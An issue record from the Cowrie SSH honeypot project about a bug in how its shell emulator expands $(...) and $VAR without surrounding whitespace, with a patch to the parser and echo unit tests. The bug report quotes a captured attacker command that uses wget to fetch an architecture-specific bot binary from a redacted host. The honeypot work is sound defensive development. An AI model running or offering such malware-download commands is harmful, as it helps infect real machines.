Repository: cowrie/cowrie

Issue:
no $ variable expansion without surrounding whitespace
**Describe the bug**
From the logging:
```
2020-09-20T01:19:40.488981Z [HTTPPageDownloader,client] Command found: wget http://[REDACTED]/bot.$(uname -m) -O- > .t
2020-09-20T01:19:40.498587Z [cowrie.commands.wget.HTTPProgressDownloader#info] Starting factory <HTTPProgressDownloader: b'http://[REDACTED]/bot.$(uname'>
```
It looks like $(uname -m) is not being parsed properly before pushing the HTTP request. Doing "echo $(uname -m) does parse correctly.

**To Reproduce**
Steps to reproduce the behavior:
1. Login as root
2. Wget a file using $(uname -m)
4. See error in request

**Expected behavior**
System variables being altered before sent to the request (it would download bot.aarch64)

**Server (please complete the following information):**
 - OS: Linux nanopineo2 5.8.6-sunxi64 #20.08.2 SMP Fri Sep 4 08:52:31 CEST 2020 aarch64 GNU/Linux
 - Python: 3.7.3

**Additional context**
A bot grabber tried to download a file specific for the server, but got 404 errors because the architecture $(uname -m) does not exist...


Discussion:
The here is more around the whitespace around the `$(uname -m)` expansion:

```
root@svr04:~# echo test$(uname)test
test$(uname)test
root@svr04:~# 
```
vs

```
root@svr04:~# echo test $(uname) test
test Linux test
```
This is a wider problem as well:

```
root@svr04:~# echo test$TERM
test$TERM
root@svr04:~# echo test $TERM
test xterm-256color
```
I have the same issue and I'm working on a patch. It looks promising, however I still need some time for testing and fixing. Currently it breaks the `awk` command emulation. See the unit tests.

```
root@cowrie:~# echo test $(uname)
test Linux
root@cowrie:~# echo test$(uname)
testLinux
root@cowrie:~# echo test ${TERM}
test xterm-256color
root@cowrie:~# echo test${TERM}
testxterm-256color
root@cowrie:~# echo test$TERM
testxterm-256color
root@cowrie:~# echo test$(which ls)
test/bin/ls
```

Resolving patch:
diff --git a/src/cowrie/shell/honeypot.py b/src/cowrie/shell/honeypot.py
--- a/src/cowrie/shell/honeypot.py
+++ b/src/cowrie/shell/honeypot.py
@@ -41,70 +41,19 @@ def lineReceived(self, line):
         self.lexer = shlex.shlex(instream=line, punctuation_chars=True, posix=True)
         # Add these special characters that are not in the default lexer
         self.lexer.wordchars += '@%{}=$:+^,()'
+
         tokens = []
-        parc_tokens = []  # stack of parcial command substitution tokens
-        subshell_tokens = []  # stack of subshell tokens
-        last_parc_token = False  # control the command substitution tokens processing
-        last_subshell_token = False  # control the subshell token processing
+
         while True:
             try:
-                if not last_parc_token:
-                    # if we are processing the command substitution dont read token
-                    tok = self.lexer.get_token()
-                    # log.msg("tok: %s" % (repr(tok)))
-
-                if len(subshell_tokens):
-                    if tok:
-                        if tok.endswith(')'):
-                            subshell_tokens.append(tok[:-1])
-                            last_subshell_token = True
-                        else:
-                            subshell_tokens.append(tok)
-
-                    if not tok or last_subshell_token:
-                        cmds = " ".join(subshell_tokens)
-                        self.cmdpending.append((subshell_tokens))
-                        last_subshell_token = False
-                        subshell_tokens = []
-                    continue
-
-                if len(parc_tokens):
-                    if tok:
-                        if tok.endswith(')'):
-                            parc_tokens.append(tok[:-1])
-                            last_parc_token = True
-                        else:
-                            parc_tokens.append(tok)
-
-                    if not tok or last_parc_token:
-                        cmds = " ".join(parc_tokens)
-                        # instantiate new shell with redirect output
-                        self.protocol.cmdstack.append(HoneyPotShell(self.protocol, interactive=False, redirect=True))
-                        # call lineReceived method that indicates that we have some commands to parse
-                        self.protocol.cmdstack[-1].lineReceived(cmds)
-                        # remove the shell
-                        result = self.protocol.cmdstack.pop()
-                        tokens.append(result.protocol.pp.redirected_data.decode()[:-1])
-                        last_parc_token = False
-                        parc_tokens = []
-
-                    continue
+                tok = self.lexer.get_token()
+                # log.msg("tok: %s" % (repr(tok)))
 
                 if tok == self.lexer.eof:
                     if tokens:
                         self.cmdpending.append((tokens))
-                        tokens = []
                     break
-                """
-                Why do we ignore parentheses?
-                We cant have this for shell command substitution  to work
-                # Ignore parentheses
-                tok_len = len(tok)
-                tok = tok.strip('(')
-                tok = tok.strip(')')
-                if len(tok) != tok_len and tok == '':
-                    continue
-                """
+
                 # For now, treat && and || same as ;, just execute without checking return code
                 if tok == '&&' or tok == '||':
                     if tokens:
@@ -126,24 +75,13 @@ def lineReceived(self, line):
                         break
                 elif tok == '$?':
                     tok = "0"
-
                 elif tok[0] == '(':
-                    subshell_tokens.append(tok[1:])
-                    if tok[-1] == ')':
-                        last_parc_token = True
-                        tok = None
+                    cmd = self.do_command_substitution(tok)
+                    tokens = cmd.split()
                     continue
-
-                elif tok[0] == '$':
-                    envRex = re.compile(r'^\$\(([_a-zA-Z0-9]+)*')
-                    envSearch = envRex.search(tok)
-                    if envSearch is not None:
-                        envMatch = envSearch.group(1)
-                        parc_tokens.append(envMatch)
-                        if tok[-1] == ')':
-                            last_parc_token = True
-                            tok = None
-                        continue
+                elif '$(' in tok:
+                    tok = self.do_command_substitution(tok)
+                elif tok.startswith('${'):
                     envRex = re.compile(r'^\$([_a-zA-Z0-9]+)$')
                     envSearch = envRex.search(tok)
                     if envSearch is not None:
@@ -152,6 +90,7 @@ def lineReceived(self, line):
                             tok = self.environ[envMatch]
                         else:
                             continue
+                elif tok.startswith('$'):
                     envRex = re.compile(r'^\${([_a-zA-Z0-9]+)}$')
                     envSearch = envRex.search(tok)
                     if envSearch is not None:
@@ -160,6 +99,7 @@ def lineReceived(self, line):
                             tok = self.environ[envMatch]
                         else:
                             continue
+
                 tokens.append(tok)
             except Exception as e:
                 self.protocol.terminal.write(
@@ -169,11 +109,71 @@ def lineReceived(self, line):
                 self.cmdpending = []
                 self.showPrompt()
                 return
+
         if self.cmdpending:
             self.runCommand()
         else:
             self.showPrompt()
 
+    def do_command_substitution(self, start_tok):
+        if start_tok[0] == '(':
+            # start parsing the (...) expression
+            dollar_expr = start_tok
+            pos = 1
+        else:
+            # split the first token to prefix and $(... part
+            dollar_pos = start_tok.index('$(')
+            result = start_tok[:dollar_pos]
+            dollar_expr = start_tok[dollar_pos:]
+            pos = 2
+        opening_count = 1
+        closing_count = 0
+
+        # parse the remaining tokens and execute $(...) parts when found
+        while opening_count > closing_count:
+            if dollar_expr[pos:pos + 2] == '$(':
+                opening_count += 1
+                pos += 2
+            elif dollar_expr[pos] == ')':
+                closing_count += 1
+                if opening_count == closing_count:
+
+                    if dollar_expr[0] == '(':
+                        # return the command in () without executing it
+                        result = dollar_expr[1:pos]
+                    else:
+                        # execute the command in $() and retrieve the output
+                        cmd = dollar_expr[2:pos]
+                        # instantiate new shell with redirect output
+                        self.protocol.cmdstack.append(HoneyPotShell(self.protocol, interactive=False, redirect=True))
+                        # call lineReceived method that indicates that we have some commands to parse
+                        self.protocol.cmdstack[-1].lineReceived(cmd)
+                        # remove the shell
+                        res = self.protocol.cmdstack.pop()
+                        result += res.protocol.pp.redirected_data.decode()[:-1]
+
+                    if pos < len(dollar_expr) - 1:
+                        dollar_expr = dollar_expr[pos + 1:]
+                        if '$(' in dollar_expr:
+                            dollar_pos = dollar_expr.index('$(')
+                            result += dollar_expr[:dollar_pos]
+                            dollar_expr = dollar_expr[dollar_pos:]
+                            opening_count = 1
+                            closing_count = 0
+                            pos = 1
+                        else:
+                            result += dollar_expr
+                pos += 1
+            else:
+                if opening_count > closing_count and pos == len(dollar_expr) - 1:
+                    tok = self.lexer.get_token()
+                    dollar_expr = dollar_expr + ' ' + tok
+                elif opening_count == closing_count:
+                    result += dollar_expr[pos]
+                pos += 1
+
+        return result
+
     def runCommand(self):
         pp = None
 


Test patch:
diff --git a/src/cowrie/test/test_echo.py b/src/cowrie/test/test_echo.py
--- a/src/cowrie/test/test_echo.py
+++ b/src/cowrie/test/test_echo.py
@@ -158,6 +158,27 @@ def test_echo_command_018(self):
         self.assertEquals(self.tr.value(), b'test\n' + PROMPT)
 
     def test_echo_command_019(self):
+        """
+        echo $(echo $(echo test))
+        """
+        self.proto.lineReceived(b'echo $(echo $(echo test))')
+        self.assertEquals(self.tr.value(), b'test\n' + PROMPT)
+
+    def test_echo_command_020(self):
+        """
+        echo test_$(echo test)_test
+        """
+        self.proto.lineReceived(b'echo test_$(echo test)_test')
+        self.assertEquals(self.tr.value(), b'test_test_test\n' + PROMPT)
+
+    def test_echo_command_021(self):
+        """
+        echo test_$(echo test)_test_$(echo test)_test
+        """
+        self.proto.lineReceived(b'echo test_$(echo test)_test_$(echo test)_test')
+        self.assertEquals(self.tr.value(), b'test_test_test_test_test\n' + PROMPT)
+
+    def test_echo_command_022(self):
         """
         (echo test)
         """